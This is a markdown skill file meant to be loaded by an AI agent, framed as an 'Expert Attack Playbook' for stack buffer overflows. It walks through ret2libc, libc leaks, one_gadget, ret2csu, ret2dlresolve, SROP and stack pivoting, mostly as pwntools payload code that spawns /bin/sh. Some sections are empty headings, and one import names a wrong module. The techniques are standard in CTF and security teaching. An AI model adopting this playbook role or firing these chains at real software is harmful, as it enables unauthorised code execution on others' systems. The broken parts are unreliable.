Stack Overflow And Rop

SKILL: Stack Overflow & ROP — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert stack-based exploitation techniques. Covers classic buffer overflow, return-to-libc, ROP chain construction, ret2csu, ret2dlresolve, SROP, stack pivoting, and canary bypass. Distilled from ctf-wiki advanced-rop, real-world CVEs, and CTF competition patterns. Base models often miss the nuance of gadget selection under constrained conditions.

0. RELATED ROUTING

• format-string-exploitation — leak canary/libc/PIE base via format string before triggering overflow
• binary-protection-bypass — systematic bypass of NX, ASLR, PIE, canary, RELRO
• arbitrary-write-to-rce — convert a write primitive (GOT, hooks, vtable) into code execution
• heap-exploitation — when the vulnerability is in heap rather than stack

Advanced Reference

Load ROP_ADVANCED_TECHNIQUES.md when you need:

• Blind ROP (BROP) methodology against remote services without binary
• ret2vdso for ASLR bypass on 32-bit systems
• Partial overwrite techniques for PIE bypass
• JOP / COP alternative code-reuse paradigms

1. STACK LAYOUT FUNDAMENTALS

High Address
┌─────────────────────┐
│   ...  (caller)     │
├─────────────────────┤
│   Return Address    │  ← overwrite target (EIP/RIP control)
├─────────────────────┤
│   Saved EBP/RBP     │  ← overwrite for stack pivoting
├─────────────────────┤
│   Canary (if enabled)│
├─────────────────────┤
│   Local Variables    │  ← buffer starts here
├─────────────────────┤
│   ...               │
└─────────────────────┘
Low Address

2. RETURN-TO-LIBC

When NX is enabled (stack not executable), redirect execution to libc functions.

Classic ret2libc (32-bit)

payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr)      # fake return address for system()
payload += p32(binsh_addr)     # arg1: "/bin/sh"

ret2libc (64-bit) — Need Gadgets for Arguments

pop_rdi = elf_base + 0x401234  # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

Libc Base Leak Methods

# Typical leak pattern
rop = b'A' * offset
rop += p64(pop_rdi) + p64(elf.got['puts'])
rop += p64(elf.plt['puts'])
rop += p64(main_addr)  # return to main for second payload

io.sendline(rop)
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']

one_gadget — Single Gadget RCE

$ one_gadget /path/to/libc.so.6
0x4f3d5  execve("/bin/sh", rsp+0x40, environ)
  constraints: rsp & 0xf == 0, rcx == NULL
0x4f432  execve("/bin/sh", rsp+0x40, environ)
  constraints: [rsp+0x40] == NULL

Constraints must be satisfied — check register/stack state before using.

3. ROP CHAIN CONSTRUCTION

Tool Comparison

Essential Gadget Patterns

x86-64 stack alignment: system() and other libc functions use movaps which requires RSP % 16 == 0. Insert an extra ret gadget before the call if alignment is off.

4. ret2csu — Universal 3-Argument Control

__libc_csu_init exists in nearly all dynamically linked ELF binaries and provides controlled calls with up to 3 arguments.

; Gadget 1 (csu_init + 0x3a): pop registers
pop rbx     ; 0
pop rbp     ; 1
pop r12     ; call target (function pointer address)
pop r13     ; arg3 (rdx)
pop r14     ; arg2 (rsi)
pop r15     ; arg1 (edi = r15d)
ret

; Gadget 2 (csu_init + 0x20): controlled call
mov rdx, r13
mov rsi, r14
mov edi, r15d    ; NOTE: only sets edi (32-bit), not full rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; falls through to gadget 1 again

Key constraints: r12 must point to a pointer to the target function (e.g., GOT entry), not the function address directly. Set rbx=0, rbp=1 to skip the loop.

5. ret2dlresolve

Forge ELF dynamic linking structures to resolve an arbitrary function (e.g., system) without a libc leak.

Attack Flow

1. Control execution to call _dl_runtime_resolve(link_map, reloc_offset)
2. Forge Elf_Rel at known writable address pointing to fake Elf_Sym
3. Forge Elf_Sym with st_name pointing to fake string "system\x00"
4. Set reloc_offset so resolver uses forged structures
5. Argument (/bin/sh) placed on stack or in known buffer

# pwntools automation (recommended)
from pwntools import *
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
io.sendline(rop.chain())
io.sendline(dlresolve.payload)

32-bit vs 64-bit Differences

6. SROP — Sigreturn-Oriented Programming

Abuse the sigreturn syscall to set all registers at once from a fake Signal Frame on the stack.

from pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve  # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr  # optional pivot

payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15)  # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)

When to use: limited gadgets, no pop rdx, static binary, or need to pivot stack to arbitrary address.

7. STACK PIVOTING

Move the stack pointer to an attacker-controlled buffer when overflow length is limited.

leave;ret Pivot Pattern

Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
  1st leave: rsp = rbp → fake_rbp;  pop rbp → *fake_rbp
  1st ret:   rip = leave_ret_addr